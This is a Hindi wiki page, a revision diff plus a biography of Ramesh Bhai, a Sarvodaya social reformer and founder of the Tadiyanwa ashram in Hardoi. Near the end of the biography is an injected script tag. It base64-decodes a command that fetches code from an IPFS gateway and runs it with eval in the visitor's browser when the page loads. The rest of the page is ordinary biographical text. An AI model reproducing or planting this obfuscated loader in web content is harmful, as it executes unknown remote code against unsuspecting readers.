रमेश भाई: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 56: Line 56:


{{seealso|मजदूर दिवस|हृदयाकाश का धु्रवतारा -अलख भाई}}   
{{seealso|मजदूर दिवस|हृदयाकाश का धु्रवतारा -अलख भाई}}   
 
{{सामाजिक कार्यकर्ता}}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}


Line 72: Line 72:
*[http://www.gadyakosh.org/gk/%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%B6_%E0%A4%AD%E0%A4%BE%E0%A4%88_/_%E0%A4%85%E0%A4%B6%E0%A5%8B%E0%A4%95_%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A4%BE%E0%A4%B0_%E0%A4%B6%E0%A5%81%E0%A4%95%E0%A5%8D%E0%A4%B2%E0%A4%BE श्री रमेश भाई]
*[http://www.gadyakosh.org/gk/%E0%A4%B0%E0%A4%AE%E0%A5%87%E0%A4%B6_%E0%A4%AD%E0%A4%BE%E0%A4%88_/_%E0%A4%85%E0%A4%B6%E0%A5%8B%E0%A4%95_%E0%A4%95%E0%A5%81%E0%A4%AE%E0%A4%BE%E0%A4%B0_%E0%A4%B6%E0%A5%81%E0%A4%95%E0%A5%8D%E0%A4%B2%E0%A4%BE श्री रमेश भाई]
==संबंधित लेख==
==संबंधित लेख==
{{सामाजिक कार्यकर्ता}}
[[Category:अशोक कुमार शुक्ला]]
[[Category:अशोक कुमार शुक्ला]]
[[Category:समाज सुधारक]]
[[Category:समाज सुधारक]]
[[Category:चरित कोश]]
[[Category:चरित कोश]]
__INDEX__
__INDEX__

Revision as of 15:28, 29 April 2013

रमेश भाई
पूरा नाम रमेश चन्द श्रीवास्तव
अन्य नाम रमेश भाई
जन्म 1 मई 1951
जन्म भूमि थमरवा गांव, हरदोई (उत्तर प्रदेश)
मृत्यु 19 नवम्बर 2008
मृत्यु स्थान सर्वोदय आश्रम टडियांवा, हरदोई
पति/पत्नी उर्मिला बहन
संतान अनुराग और स्व0 रश्मि
गुरु विनोबा भावे
कर्म-क्षेत्र समाज सुधारक
प्रसिद्धि सर्वोदय आश्रम टडियांवा के संस्थापक
नागरिकता भारतीय

रमेश भाई (अंग्रेज़ी:Ramesh bhai, जन्म: 1 मई , 1951 - मृत्यु: 19 नवम्बर 2008) विनोबा भावे के आदरणीय अनुयायी, भारत के जाने-माने समाज सुधारक एवं सर्वोदय आश्रम टडियांवा के संस्थापक थे।

जीवन परिचय

रमेश भाई का जन्म हरदोई जनपद के थमरवा गांव में वर्ष 1951 को मजदूर दिवस (1 मई) के दिन हुआ था। रमेश भाई का मूल नाम रमेश चन्द श्रीवास्तव था।

  • इनका सम्पूर्ण जीवन विनोवा जी की विचारधारा को समर्पित रहा।
  • एक शिक्षक परिवार में जन्म लेकर उनको यह तो पता चल ही गया था कि समाज का जो स्वरूप आस-पास दिखाई देता है वह प्रयासपूर्वक बदला भी जा सकता है
  • सर्वोदय कार्यकर्ता के लिए गाँधी विचार द्वारा जो खाका तैयार किया गया है, जिसमें उसके चिन्तनशील मष्तिष्क, करूणाशील हृदय एव सजृनशील हाथों की अपेक्षा की गयी है, पर रमेश भाई खरे उतरते हैं।

आश्रम की नीव

संगठन कुशलता

  • उनकी संगठन कुशलता एवं संवेदनशील प्रशासन ने उन्हें बहुत अधिक लोकप्रिय बनाया। परमश्रद्धेय दीदी निर्मला देशपाण्डे जी को उनके अन्दर नेतृत्व क्षमता के दर्शन बहुत पहले हो गये थे। जब-जब दीदी से जुडे किसी राष्ट्रीय सम्मेलन का नेतृत्व उनको मिला तब-तब उनके धीर-गम्भीर संतुलित एवं सार्थक वक्तव्य कौशल को लोगों ने सराहा।
  • अनेक मोर्चों पर रमेश भाई उनके विश्वस्ततम् साथी थे। दीदी को रमेश भाई में आन्दोलन को आगे ले जाने की क्षमता दिखाई देती थी।

मृत्यु

19 नवम्बर 2008 को इन्होंने सर्वोदय आश्रम टडियांवा परिसर में अपनी नश्वर देह त्याग दी। रमेश भाई परंपराओं और विद्यमान सामाजिक रूढियों के विरूद्ध अपनी मृत्यु के उपरांत भी खडे रहे तथा उनकी इच्छानुसार और पुत्र अनुराग के उपस्थित होने के बावजूद उनकी नश्वर देह को मुखाग्नि उनकी पुत्री रश्मि ने ही दी

  1. REDIRECTसाँचा:इन्हें भी देखें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

चित्र वीथिका

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख